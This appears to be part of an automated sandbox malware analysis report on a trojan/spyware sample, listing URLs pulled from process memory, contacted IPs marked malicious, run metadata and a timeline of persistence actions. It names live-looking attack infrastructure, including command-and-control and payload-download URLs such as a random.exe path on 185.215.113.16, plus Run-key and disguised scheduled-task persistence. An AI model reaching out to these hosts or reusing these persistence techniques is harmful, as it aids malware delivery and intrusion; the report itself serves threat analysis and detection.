https://duckduckgo.com/ac/?q=	41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	false
https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com/chrome_settings_overrides	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3364933567.00000138396D7000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/spocs	firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com	firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	false
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3217036365.000001384988A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	false
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3416671749.000001384A0D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	false
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	false
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3217036365.000001384988A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.com/	firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 00000012.00000002.3107246668.00000286CD2CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.com/firefox/new_tab_learn_more#urlbar-search-mode-indicator-closeeNewlinesStripSur	firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 00000025.00000003.3216654155.000001384986F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215434253.000001384981D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3215753011.0000013849838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3216259407.0000013849853000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000012.00000002.3049906297.00000286BD261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100001000.00000004.00000800.00020000.00000000.sdmp	false
https://youtube.com/	firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3453790563.000001384C0EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AC5000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/_addCardTypeLinkMenuOptions/card.contextMenuOptio	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/J.	41266a11cd.exe, 00000011.00000003.3220281407.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3219279190.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3217338476.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	false
http://www.innosetup.com/	SillyShelf.exe, 00000008.00000003.2881203990.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.exe, 00000008.00000003.2880830280.0000000002400000.00000004.00001000.00020000.00000000.sdmp, SillyShelf.tmp, 00000009.00000000.2881965370.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	false
http://microsoft.co	powershell.exe, 00000012.00000002.3114382603.00000286D5520000.00000004.00000020.00020000.00000000.sdmp	false
https://ok.ru/	firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/	firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	false
https://fpn.firefox.com	firefox.exe, 00000025.00000002.3397387815.00000138491E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3364933567.0000013839691000.00000004.00000800.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000015.00000002.3397491222.000002C11006C000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/apiFWDl	41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.comdeveloper-button.tooltiptext2	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.com/firefox/new_tab_learn_more#urlbar-search-mode-indicator-close	firefox.exe, 00000025.00000002.3422545698.000001384A609000.00000004.00000800.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	false
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	41266a11cd.exe, 00000011.00000003.3081516041.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081160759.000000000567B000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3081261298.0000000005678000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3262392371.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3272611733.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 41266a11cd.exe, 00000018.00000003.3258033041.0000000005969000.00000004.00000800.00020000.00000000.sdmp	false
https://www.youtube.com/	firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000025.00000002.3391777614.00000138489C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3458080576.000001384C189000.00000004.00000800.00020000.00000000.sdmp	false
http://crl4.digi	regsvr32.exe, 00000010.00000003.2979263024.0000000002E09000.00000004.00000020.00020000.00000000.sdmp	false
https://bugzilla.mo	firefox.exe, 00000025.00000002.3416671749.000001384A083000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs:443/api	41266a11cd.exe, 00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3380489922.0000000000A97000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3131778123.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	false
https://amazon.com	firefox.exe, 00000025.00000002.3397387815.000001384917E000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347H	ce23dfc9e9.exe, 00000007.00000003.3103276913.0000000001ACF000.00000004.00000020.00020000.00000000.sdmp, ce23dfc9e9.exe, 00000007.00000003.3103308625.0000000001AD7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2979638617.0000000003B9D000.00000004.00000020.00020000.00000000.sdmp	false
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000025.00000002.3423226571.000001384A717000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000012.00000002.3049906297.00000286BD489000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3172505170.000002C100228000.00000004.00000800.00020000.00000000.sdmp	false
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://www.iqiyi.com/	firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	false
http://exslt.org/strings	firefox.exe, 00000025.00000002.3364933567.0000013839603000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000025.00000002.3387699674.0000013848726000.00000004.00000800.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000025.00000002.3367713909.0000013844EAD000.00000004.00000800.00020000.00000000.sdmp	false
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/ExtHandlerService.sys.mjshttps://	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.rs/getrandom#nodejs-es-module-support	SillyShelf.tmp, 0000000E.00000003.2925625641.0000000005B30000.00000004.00001000.00020000.00000000.sdmp	false
http://.css	ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	false
https://cook-rain.sbs/M.	41266a11cd.exe, 00000011.00000003.3219279190.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3217338476.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000025.00000002.3391777614.000001384896E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3453790563.000001384C007000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3462223844.000001384CA7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3413255606.0000013849D24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3404175503.00000138496E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849A07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3404175503.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3406471097.0000013849837000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3438224321.000001384B449000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3257703585.00000138496E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3412278762.0000013849C3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3397387815.0000013849132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3390109839.00000138488E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3409432948.0000013849AA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3256810945.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3254081636.0000013849699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3411269432.0000013849B03000.00000004.00000800.00020000.00000000.sdmp	false
https://www.openh264.org/	firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3423226571.000001384A7B6000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000025.00000002.3396112248.0000013849000000.00000002.08000000.00040000.00000000.sdmp	false
https://www.zhihu.com/	firefox.exe, 00000025.00000002.3387699674.00000138487B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3375885789.00000138459B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3444470985.000001384BDB7000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	41266a11cd.exe, 00000011.00000003.3173935344.000000000567D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3426059778.000001384A86B000.00000004.00000800.00020000.00000000.sdmp	false
http://www.inbox.lv/rfc2368/?value=%sFailed	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000025.00000003.3298521385.000001384883E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.3300591260.0000013848846000.00000004.00000800.00020000.00000000.sdmp	false
https://ac.duckduckgo.com/ac/TrackingProtectionModeOption	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp	false
https://json-schema.org/draft/2019-09/schema	firefox.exe, 00000025.00000002.3401500515.0000013849340000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/luma/random.exeq	regsvr32.exe, 00000010.00000003.2979908455.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp	false
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	firefox.exe, 00000025.00000002.3439370948.000001384BB87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.3441725415.000001384BC03000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/_.	41266a11cd.exe, 00000011.00000003.3216660217.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	false
https://profiler.firefox.com	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	41266a11cd.exe, 00000011.00000003.3185437848.000000000576C000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp	false
https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/Integration.sys.mjs	firefox.exe, 00000025.00000002.3375885789.0000013845976000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000025.00000002.3392853212.0000013848A03000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
154.216.20.78	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
154.216.19.129	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
216.58.206.46	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559887
Start date and time:	2024-11-21 03:07:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@129/47@48/17
EGA Information:	Successful, ratio: 12.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 216.58.206.67, 142.251.168.84, 142.250.184.238, 34.104.35.123, 142.250.185.67, 142.250.186.42, 172.217.18.10, 142.250.186.170, 172.217.16.202, 142.250.185.106, 142.250.186.138, 142.250.185.74, 142.250.184.234, 142.250.185.170, 216.58.206.74, 142.250.185.138, 142.250.185.202, 142.250.186.106, 142.250.185.234, 142.250.186.74, 216.58.212.170, 184.28.90.27, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.185.78, 13.107.6.158, 184.28.89.167, 216.58.212.163, 216.58.206.78, 64.233.184.84, 95.101.150.2, 2.22.61.56, 142.250.184.195, 142.250.186.110
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, a19.dscg10.akamai.net, e11290.dspg.akamaiedge.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, ipv4only.arpa, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, e16604.g.akamaiedge.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, prod.ads.prod.webservices.mozgcp.net, update.googleapis.com, www.youtube.com, www.gstatic.com, normandy-cdn.services.mozilla.com, l-0007.l-msedge.net, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, shavar.prod.mozaws.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wikimedia.org, business-bing-com.b-0005.b-msedge.net, normandy.cdn.mozilla.net, youtube-ui.l.google.com,
Execution Graph export aborted for target 41266a11cd.exe, PID 1984 because there are no executed function
Execution Graph export aborted for target ce23dfc9e9.exe, PID 1272 because there are no executed function
Execution Graph export aborted for target file.exe, PID 4368 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4464 because it is empty
Execution Graph export aborted for target powershell.exe, PID 748 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2788 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5260 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:08:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:09:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 41266a11cd.exe C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe
03:09:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 813d0f4405.exe C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe
03:09:54	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77} path: regsvr32 s>/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
03:09:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1d003e9e16.exe C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe
03:10:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 46bc483599.exe C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe
03:10:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 41266a11cd.exe C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe
03:10:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 813d0f4405.exe C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe
03:10:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1d003e9e16.exe C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe
03:10:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 46bc483599.exe C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe
03:11:27	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
